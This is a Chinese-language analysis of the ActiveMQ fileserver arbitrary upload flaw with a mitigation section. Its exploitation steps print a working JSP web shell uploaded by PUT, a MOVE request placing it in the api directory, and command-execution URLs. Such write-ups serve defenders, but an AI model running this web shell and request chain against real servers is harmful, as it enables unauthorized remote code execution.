ActiveMQ任意文件上传漏洞
字数 927 2025-08-15 21:32:58
ActiveMQ任意文件上传漏洞分析与利用
漏洞概述
ActiveMQ中存在一个任意文件上传漏洞,该漏洞出现在fileserver应用中。攻击者可以通过HTTP PUT方法上传恶意文件,然后利用Move指令将文件移动到可执行目录,从而实现远程代码执行。
漏洞原理
- 文件上传机制:ActiveMQ的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录
- 文件移动功能:Fileserver支持写入文件(不解析jsp),但支持移动文件(Move)操作
- 目录权限差异:
- fileserver目录:可写入文件但不可执行JSP
- admin/api目录:可执行JSP脚本但需要登录访问
漏洞利用步骤
1. 上传恶意文件
使用HTTP PUT方法上传包含恶意代码的文本文件到fileserver目录:
PUT /fileserver/shell.txt HTTP/1.1
Host: target:8161
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
<% if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>
2. 移动文件到可执行目录
使用MOVE方法将上传的文件移动到可执行JSP的目录(如api目录):
MOVE /fileserver/shell.txt HTTP/1.1
Host: target:8161
Destination: file:///opt/activemq/webapps/api/shell.jsp
成功响应标志:
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
3. 执行恶意代码
访问移动后的JSP文件并执行命令:
http://target:8161/api/shell.jsp?pwd=023&i=whoami
http://target:8161/api/shell.jsp?pwd=023&i=ls -l
技术细节
-
文件上传限制:
- fileserver目录本身不解析JSP文件
- 但允许通过PUT方法上传任意文件
-
文件移动特性:
- 利用MOVE方法可以绕过目录执行限制
- 将文件从fileserver移动到可执行目录(如admin或api)
-
认证绕过:
- 虽然admin/api目录需要登录才能访问
- 但通过fileserver的MOVE操作可以绕过此限制
防御措施
- 升级补丁:及时更新ActiveMQ到最新安全版本
- 禁用fileserver:如不需要此功能,可完全禁用fileserver应用
- 权限控制:
- 限制fileserver目录的写入权限
- 加强admin/api目录的访问控制
- 输入验证:对所有上传文件进行严格的内容检查和过滤
- 网络隔离:将ActiveMQ服务部署在内网,限制外部访问
参考资源
总结
该漏洞利用ActiveMQ中fileserver服务的文件上传和移动功能,结合不同目录的权限差异,实现了未授权远程代码执行。管理员应重视中间件的安全配置,及时应用安全补丁,并遵循最小权限原则进行服务部署。